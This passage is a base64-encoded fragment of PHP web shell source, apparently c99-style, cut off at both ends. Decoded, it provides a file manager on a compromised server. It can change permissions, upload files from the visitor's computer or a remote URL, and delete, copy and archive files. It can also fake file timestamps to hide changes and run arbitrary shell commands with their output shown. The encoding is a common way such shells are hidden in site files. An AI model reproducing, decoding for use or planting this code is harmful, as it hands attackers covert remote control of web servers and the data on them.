wXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X3JlZ2V4cCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IFJlZ3VsYXIgRXhwcmVzc2lvbiIuDQogICAgICAgIiAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF93d29cIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfd3dvID09IDE/IiBjaGVja2VkIjoiIikuIj4gV2hvbGUgd29yZHMgb25seSIuDQogICAgICAgIiAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9jc1wiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9jcyA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IENhc2Ugc2Vuc2l0aXZlIi4NCiAgICAgICAiICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X25vdFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9ub3QgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiBGaW5kIGZpbGVzIE5PVCBjb250YWluaW5nIHRoZSB0ZXh0PC90ZD48L3RyPiIuDQogICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiU2VhcmNoXCI+PC9mb3JtPjwvdGQ+PC90cj4iLg0KICAgICAgICI8L3RhYmxlPiI7DQogIGlmICgkeCA9PSAibHMiKSB7DQogICAgJGRzcGFjdCA9ICR4Ow0KICAgIGVjaG8gIlNlYXJjaCB0b29rICIuJHNlYXJjaHRpbWUuIiBzZWNzICgiLiRzZWFyY2hfaV9mLiIgZmlsZXMgYW5kICIuJHNlYXJjaF9pX2QuIiBmb2xkZXJzLCAiLnJvdW5kKCgkc2VhcmNoX2lfZiskc2VhcmNoX2lfZCkvJHNlYXJjaHRpbWUsNCkuIiBvYmplY3RzIHBlciBzZWNvbmQpLjwvYj4iLg0KICAgICAgICAgIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgfQ0KfQ0KaWYgKCR4ID09ICJjaG1vZCIpIHsNCiAgJG1vZGUgPSBmaWxlcGVybXMoJGQuJGYpOw0KICBpZiAoISRtb2RlKSB7ZWNobyAiPGI+Q2hhbmdlIGZpbGUtbW9kZSB3aXRoIGVycm9yOjwvYj4gY2FuJ3QgZ2V0IGN1cnJlbnQgdmFsdWUuIjt9DQogIGVsc2Ugew0KICAgICRmb3JtID0gVFJVRTsNCiAgICBpZiAoJGNobW9kX3N1Ym1pdCkNCiAgew0KICAgJG9jdGV0ID0gIjAiLmJhc2VfY29udmVydCgoJGNobW9kX29bInIiXT8xOjApLigkY2htb2Rfb1sidyJdPzE6MCkuKCRjaG1vZF9vWyJ4Il0/MTowKS4oJGNobW9kX2dbInIiXT8xOjApLigkY2htb2RfZ1sidyJdPzE6MCkuKCRjaG1vZF9nWyJ4Il0/MTowKS4oJGNobW9kX3dbInIiXT8xOjApLigkY2htb2Rfd1sidyJdPzE6MCkuKCRjaG1vZF93WyJ4Il0/MTowKSwyLDgpOw0KICAgaWYgKGNobW9kKCRkLiRmLCRvY3RldCkpIHskeCA9ICJscyI7ICRmb3JtID0gRkFMU0U7ICRlcnIgPSAiIjt9DQogICBlbHNlIHskZXJyID0gIkNhbid0IGNobW9kIHRvICIuJG9jdGV0LiIuIjt9DQogIH0NCiAgaWYgKCRmb3JtKQ0KICB7DQogICAkcGVybXMgPSBwYXJzZV9wZXJtcygkbW9kZSk7DQogICBlY2hvICI8Yj5DaGFuZ2luZyBmaWxlLW1vZGUgKCIuJGQuJGYuIiksICIudmlld19wZXJtc19jb2xvcigkZC4kZikuIiAoIi5zdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkZC4kZikpLC00LDQpLiIpPC9iPjxicj4iLigkZXJyPyI8Yj5FcnJvcjo8L2I+ICIuJGVycjoiIikuIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRmKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1jaG1vZD48dGFibGUgYWxpZ249bGVmdCB3aWR0aD0zMDAgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz01Pjx0cj48dGQ+PGI+T3duZXI8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29bcl0gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9Y2htb2Rfb1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L3RkPjx0ZD48Yj5Hcm91cDwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3ddIHZhbHVlPTEiLigkcGVybXNbImciXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3hdIHZhbHVlPTEiLigkcGVybXNbImciXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvZm9udD48L3RkPjx0ZD48Yj5Xb3JsZDwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3ddIHZhbHVlPTEiLigkcGVybXNbInciXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3hdIHZhbHVlPTEiLigkcGVybXNbInciXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvZm9udD48L3RkPjwvdHI+PHRyPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1jaG1vZF9zdWJtaXQgdmFsdWU9XCJTYXZlXCI+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPiI7DQogIH0NCn0NCn0NCmlmICgkeCA9PSAidXBsb2FkIikgew0KICAkdXBsb2FkbWVzcyA9ICIiOw0KICAkdXBsb2FkcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdXBsb2FkcGF0aCk7DQogIGlmIChlbXB0eSgkdXBsb2FkcGF0aCkpIHskdXBsb2FkcGF0aCA9ICRkO30NCiAgZWxzZWlmIChzdWJzdHIoJHVwbG9hZHBhdGgsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdXBsb2FkcGF0aCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgaWYgKCFlbXB0eSgkc3VibWl0KSkgew0KICAgIGdsb2JhbCAkX0ZJTEVTOw0KICAgICR1cGxvYWRmaWxlID0gJF9GSUxFU1sidXBsb2FkZmlsZSJdOw0KICAgIGlmICghZW1wdHkoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0pKSB7DQogICAgICBpZiAoZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4gPSAkdXBsb2FkZmlsZVsibmFtZSJdO30NCiAgICAgIGVsc2UgeyRkZXN0aW4gPSAkdXNlcmZpbGVuYW1lO30NCiAgICAgIGlmICghbW92ZV91cGxvYWRlZF9maWxlKCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdLCR1cGxvYWRwYXRoLiRkZXN0aW4pKSB7DQogICAgICAgICR1cGxvYWRtZXNzIC49ICJFcnJvciB1cGxvYWRpbmcgZmlsZSAiLiR1cGxvYWRmaWxlWyJuYW1lIl0uIiAoY2FuJ3QgY29weSBcIiIuJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0uIlwiIHRvIFwiIi4kdXBsb2FkcGF0aC4kZGVzdGluLiJcIiE8YnI+IjsNCiAgICAgIH0NCiAgICAgIGVsc2UgeyAkdXBsb2FkbWVzcyAuPSAiRmlsZSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkhPGJyPiIuJHVwbG9hZHBhdGguJGRlc3RpbjsgfQ0KICAgIH0NCiAgICBlbHNlaWYgKCFlbXB0eSgkdXBsb2FkdXJsKSkgew0KICAgICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlbmFtZTt9DQogICAgICBlbHNlIHsNCiAgICAgICAgJGRlc3RpbiA9IGV4cGxvZGUoIi8iLCRkZXN0aW4pOw0KICAgICAgICAkZGVzdGluID0gJGRlc3Rpbltjb3VudCgkZGVzdGluKS0xXTsNCiAgICAgICAgaWYgKGVtcHR5KCRkZXN0aW4pKSB7DQogICAgICAgICAgJGkgPSAwOw0KICAgICAgICAgICRiID0gIiI7DQogICAgICAgICAgd2hpbGUoZmlsZV9leGlzdHMoJHVwbG9hZHBhdGguJGRlc3RpbikpIHsNCiAgICAgICAgICAgIGlmICgkaSA+IDApIHskYiA9ICJfIi4kaTt9DQogICAgICAgICAgICAkZGVzdGluID0gInVwbG9hZCIuJGI7DQogICAgICAgICAgICAkaSsrOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCghZXJlZ2koImh0dHA6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiaHR0cHM6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiZnRwOi8vIiwkdXBsb2FkdXJsKSkpIHtlY2hvICI8Yj5JbmNvcnJlY3QgVVJMITwvYj4iO30NCiAgICAgIGVsc2Ugew0KICAgICAgICAkc3QgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVwbG9hZHVybCk7DQogICAgICAgICRkdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzdCw0KTsNCiAgICAgICAgaWYgKCEkY29udGVudCkgeyR1cGxvYWRtZXNzIC49ICAiQ2FuJ3QgZG93bmxvYWQgZmlsZSEiO30NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0gc3RhdCgkdXBsb2FkcGF0aC4kZGVzdGluKTt9DQogICAgICAgICAgJGZwID0gZm9wZW4oJHVwbG9hZHBhdGguJGRlc3RpbiwidyIpOw0KICAgICAgICAgIGlmICghJGZwKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHdyaXRpbmcgdG8gZmlsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJGRlc3RpbikuIiE8YnI+Ijt9DQogICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICBmd3JpdGUoJGZwLCRjb250ZW50LHN0cmxlbigkY29udGVudCkpOw0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7dG91Y2goJHVwbG9hZHBhdGguJGRlc3Rpbiwkc3RhdFs5XSwkc3RhdFs4XSk7fQ0KICAgICAgICAgICAgJHVwbG9hZG1lc3MgLj0gIkZpbGUgc2F2ZWQgZnJvbSAiLiR1cGxvYWR1cmwuIiAhIjsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgZWxzZSB7IGVjaG8gIk5vIGZpbGUgdG8gdXBsb2FkISI7IH0NCiAgfQ0KICBpZiAoJG1pbmlmb3JtKSB7DQogICAgZWNobyAiPGI+Ii4kdXBsb2FkbWVzcy4iPC9iPiI7DQogICAgJHggPSAibHMiOw0KICB9DQogIGVsc2Ugew0KICAgIGVjaG8gIjx0YWJsZT48dHI+PHRkIGNvbHNwYW49MiBjbGFzcz1iYXJoZWFkZXI+Ii4NCiAgICAgICAgICJbIEZpbGUgVXBsb2FkIF08L3RkPiIuDQogICAgICAgICAiPHRkIGNvbHNwYW49Mj4iLiR1cGxvYWRtZXNzLiI8L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPjxmb3JtIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgYWN0aW9uPVwiIi4kc3VybC4ieD11cGxvYWQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPiIuDQogICAgICAgICAiRnJvbSBZb3VyIENvbXB1dGVyOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPVwidXBsb2FkZmlsZVwiIHR5cGU9XCJmaWxlXCI+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD5Gcm9tIFVSTDo8L3RkPjx0ZD48aW5wdXQgbmFtZT1cInVwbG9hZHVybFwiIHR5cGU9XCJ0ZXh0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHVwbG9hZHVybCkuIlwiIHNpemU9XCI3MFwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+VGFyZ2V0IERpcmVjdG9yeTo8L3RkPjx0ZD48aW5wdXQgbmFtZT1cInVwbG9hZHBhdGhcIiBzaXplPVwiNzBcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPlRhcmdldCBGaWxlIE5hbWU6PC90ZD48dGQ+PGlucHV0IG5hbWU9dXBsb2FkZmlsZW5hbWUgc2l6ZT0yNT48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9dXBsb2FkYXV0b25hbWUgdmFsdWU9MSBpZD1kZjQ+IENvbnZlcnQgZmlsZSBuYW1lIHRvIGxvd2VyY2FzZTwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiVXBsb2FkXCI+Ii4NCiAgICAgICAgICI8L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgfQ0KfQ0KaWYgKCR4ID09ICJkZWxldGUiKSB7DQogICRkZWxlcnIgPSAiIjsNCiAgZm9yZWFjaCAoJGFjdGJveCBhcyAkdikgew0KICAgICRyZXN1bHQgPSBGQUxTRTsNCiAgICAkcmVzdWx0ID0gZnNfcm1vYmooJHYpOw0KICAgIGlmICghJHJlc3VsdCkgeyRkZWxlcnIgLj0gIkNhbid0IGRlbGV0ZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiI8YnI+Ijt9DQogIH0NCiAgaWYgKCFlbXB0eSgkZGVsZXJyKSkge2VjaG8gIjxiPkRlbGV0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kZGVsZXJyO30NCiAgJHggPSAibHMiOw0KfQ0KaWYgKCEkdXNlZnNidWZmKSB7DQogIGlmICgoJHggPT0gInBhc3RlIikgb3IgKCR4ID09ICJjb3B5Iikgb3IgKCR4ID09ICJjdXQiKSBvciAoJHggPT0gInVuc2VsZWN0IikpIHtlY2hvICI8Y2VudGVyPjxiPlNvcnJ5LCBidWZmZXIgaXMgZGlzYWJsZWQuIEZvciBlbmFibGUsIHNldCBkaXJlY3RpdmUgXCJcJHVzZWZzYnVmZlwiIGFzIFRSVUUuPC9jZW50ZXI+Ijt9DQp9DQplbHNlIHsNCiAgaWYgKCR4ID09ICJjb3B5IikgeyRlcnIgPSAiIjsgJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRhY3Rib3gpOyBjYV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJHggPSAibHMiOyB9DQogIGVsc2VpZiAoJHggPT0gImN1dCIpIHskc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImN1dCJdLCRhY3Rib3gpOyBjYV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJHggPSAibHMiO30NCiAgZWxzZWlmICgkeCA9PSAidW5zZWxlY3QiKSB7Zm9yZWFjaCAoJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO319IGZvcmVhY2ggKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX0gY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICR4ID0gImxzIjt9DQogIGlmICgkYWN0ZW1wdHlidWZmKSB7JHNlc3NfZGF0YVsiY29weSJdID0gJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpOyBjYV9zZXNzX3B1dCgkc2Vzc19kYXRhKTt9DQogIGVsc2VpZiAoJGFjdHBhc3RlYnVmZikgew0KICAgICRwc3RlcnIgPSAiIjsNCiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHsNCiAgICAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsNCiAgICAgIGlmICghZnNfY29weV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQ0KICAgIH0NCiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgew0KICAgICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgICAgaWYgKCFmc19tb3ZlX29iaigkdiwkdG8pKSB7JHBzdGVyciAuPSAiQ2FuJ3QgbW92ZSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9DQogICAgICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICAgIH0NCiAgICBjYV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsNCiAgICBpZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJHBzdGVycjt9DQogICAgJHggPSAibHMiOw0KICB9DQogIGVsc2VpZiAoJGFjdGFyY2J1ZmYpIHsNCiAgICAkYXJjZXJyID0gIiI7DQogICAgaWYgKHN1YnN0cigkYWN0YXJjYnVmZl9wYXRoLC03LDcpID09ICIudGFyLmd6IikgeyRleHQgPSAiLnRhci5neiI7fQ0KICAgIGVsc2UgeyRleHQgPSAiLnRhci5neiI7fQ0KICAgIGlmICgkZXh0ID09ICIudGFyLmd6IikgeyRjbWRsaW5lID0gInRhciBjZnp2Ijt9DQogICAgJGNtZGxpbmUgLj0gIiAiLiRhY3RhcmNidWZmX3BhdGg7DQogICAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJHNlc3NfZGF0YVsiY3V0Il0pOw0KICAgIGZvcmVhY2goJG9iamVjdHMgYXMgJHYpIHsNCiAgICAgICR2ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR2KTsNCiAgICAgIGlmIChzdWJzdHIoJHYsMCxzdHJsZW4oJGQpKSA9PSAkZCkgeyR2ID0gYmFzZW5hbWUoJHYpO30NCiAgICAgIGlmIChpc19kaXIoJHYpKSB7DQogICAgICAgIGlmIChzdWJzdHIoJHYsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdiAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgICAgICAgJHYgLj0gIioiOw0KICAgICAgfQ0KICAgICAgJGNtZGxpbmUgLj0gIiAiLiR2Ow0KICAgIH0NCiAgICAkdG1wID0gcmVhbHBhdGgoIi4iKTsNCiAgICBjaGRpcigkZCk7DQogICAgJHJldCA9IG15c2hlbGxleGVjKCRjbWRsaW5lKTsNCiAgICBjaGRpcigkdG1wKTsNCiAgICBpZiAoZW1wdHkoJHJldCkpIHskYXJjZXJyIC49ICJDYW4ndCBjYWxsIGFyY2hpdmF0b3IgKCIuaHRtbHNwZWNpYWxjaGFycyhzdHIybWluaSgkY21kbGluZSw2MCkpLiIpITxicj4iO30NCiAgICAkcmV0ID0gc3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJHJldCk7DQogICAgJHJldCA9IGV4cGxvZGUoIlxuIiwkcmV0KTsNCiAgICBpZiAoJGNvcHlfdW5zZXQpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9fQ0KICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7DQogICAgICBpZiAoaW5fYXJyYXkoJHYsJHJldCkpIHtmc19ybW9iaigkdik7fQ0KICAgICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsNCiAgICB9DQogICAgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogICAgaWYgKCFlbXB0eSgkYXJjZXJyKSkge2VjaG8gIjxiPkFyY2hpdmF0aW9uIGVycm9yczo8L2I+PGJyPiIuJGFyY2Vycjt9DQogICAgJHggPSAibHMiOw0KICB9DQogIGVsc2VpZiAoJGFjdHBhc3RlYnVmZikgew0KICAgICRwc3RlcnIgPSAiIjsNCiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHsNCiAgICAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsNCiAgICAgIGlmICghZnNfY29weV9vYmooJHYsJGQpKSB7JHBzdGVyciAuPSAiQ2FuJ3QgY29weSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9DQogICAgICBpZiAoJGNvcHlfdW5zZXQpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9DQogICAgfQ0KICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7DQogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICAgICBpZiAoIWZzX21vdmVfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsNCiAgICB9DQogICAgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogICAgaWYgKCFlbXB0eSgkcHN0ZXJyKSkge2VjaG8gIjxiPlBhc3Rpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRwc3RlcnI7fQ0KICAgICR4ID0gImxzIjsNCiAgfQ0KfQ0KaWYgKCR4ID09ICJjbWQiKSB7DQogIEBjaGRpcigkY2hkaXIpOw0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKSB7DQogICAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+WyBSZXN1bHQgb2YgQ29tbWFuZCBFeGVjdXRpb24gXTwvZGl2PiI7DQogICAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7DQogICAgQGNoZGlyKCRkKTsNCiAgICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZCk7DQogICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgIGlmICgkY21kX3R4dCkgew0KICAgICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsNCiAgICAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDsgfQ0KICAgICAgaWYgKCRtc2llKSB7ICRjb2xzID0gMTEzOyB9DQogICAgICBlbHNlIHsgJGNvbHMgPSAxMTc7fQ0KICAgICAgZWNobyAiPGRpdiBhbGlnbj1sZWZ0PjxwcmU+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3ByZT48L2Rpdj4iOw0KICAgIH0NCiAgICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30NCiAgICBAY2hkaXIoJG9sZGRpcik7DQogIH0NCiAgZWxzZSB7DQogICAgZWNobyAiPGI+Q29tbWFuZCBFeGVjdXRpb248L2I+IjsNCiAgICBpZiAoZW1wdHkoJGNtZF90eHQpKSB7JGNtZF90eHQgPSBUUlVFO30NCiAgfQ0KfQ0KaWYgKCR4ID09ICJscyIpIHsNCiAgaWYgKGNvdW50KCRsc19hcnIpID4gMCkgeyAkbGlzdCA9ICRsc19hcnI7IH0NCiAgZWxzZSB7DQogICAgJGxpc3QgPSBhcnJheSgpOw0KICAgIGlmICgkaCA9IEBvcGVuZGlyKCRkKSkgew0KICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHskbGlzdFtdID0gJGQuJG87fQ0KICAgICAgY2xvc2VkaXIoJGgpOw0KICAgIH0NCiAgfQ0KICBpZiAoY291bnQoJGxpc3QpID09IDApIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz5DYW4ndCBvcGVuIGZvbGRlciAoIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iKSE8L2Rpdj4iO30NCiAgZWxzZSB7DQogICAgJG9iamVjdHMgPSBhcnJheSgpOw0KICAgICR2ZCA9ICJmIjsgDQogICAgaWYgKCR2ZCA9PSAiZiIpIHsNCiAgICAgICRvYmplY3RzWyJoZWFkIl0gPSBhcnJheSgpOw0KICAgICAgJG9iamVjdHNbImZvbGRlcnMiXSA9IGFycmF5KCk7DQogICAgICAkb2JqZWN0c1sibGlua3MiXSA9IGFycmF5KCk7DQogICAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5KCk7DQogICAgICBmb3JlYWNoICgkbGlzdCBhcyAkdikgew0KICAgICAgICAkbyA9IGJhc2VuYW1lKCR2KTsNCiAgICAgICAgJHJvdyA9IGFycmF5KCk7DQogICAgICAgIGlmICgkbyA9PSAiLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIkNVUkRJUiI7fQ0KICAgICAgICBlbHNlaWYgKCRvID09ICIuLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIlVQRElSIjt9DQogICAgICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgew0KICAgICAgICAgIGlmIChpc19saW5rKCR2KSkgeyR0eXBlID0gIkxJTksiO30NCiAgICAgICAgICBlbHNlIHskdHlwZSA9ICJESVIiO30NCiAgICAgICAgICAkcm93W10gPSAkdjsNCiAgICAgICAgICAkcm93W10gPSAkdHlwZTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHskcm93W10gPSAkdjsgJHJvd1tdID0gZmlsZXNpemUoJHYpO30NCiAgICAgICAgJHJvd1tdID0gZmlsZW10aW1lKCR2KTsNCiAgICAgICAgaWYgKCEkd2luKSB7DQogICAgICAgICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCR2KSk7DQogICAgICAgICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCR2KSk7DQogICAgICAgICAgJHJvd1tdID0gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkdikpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCR2KSk7DQogICAgICAgIH0NCiAgICAgICAgJHJvd1tdID0gZmlsZXBlcm1zKCR2KTsNCiAgICAgICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyRvYmplY3RzWyJoZWFkIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JG9iamVjdHNbImxpbmtzIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskb2JqZWN0c1siZm9sZGVycyJdW10gPSAkcm93O30NCiA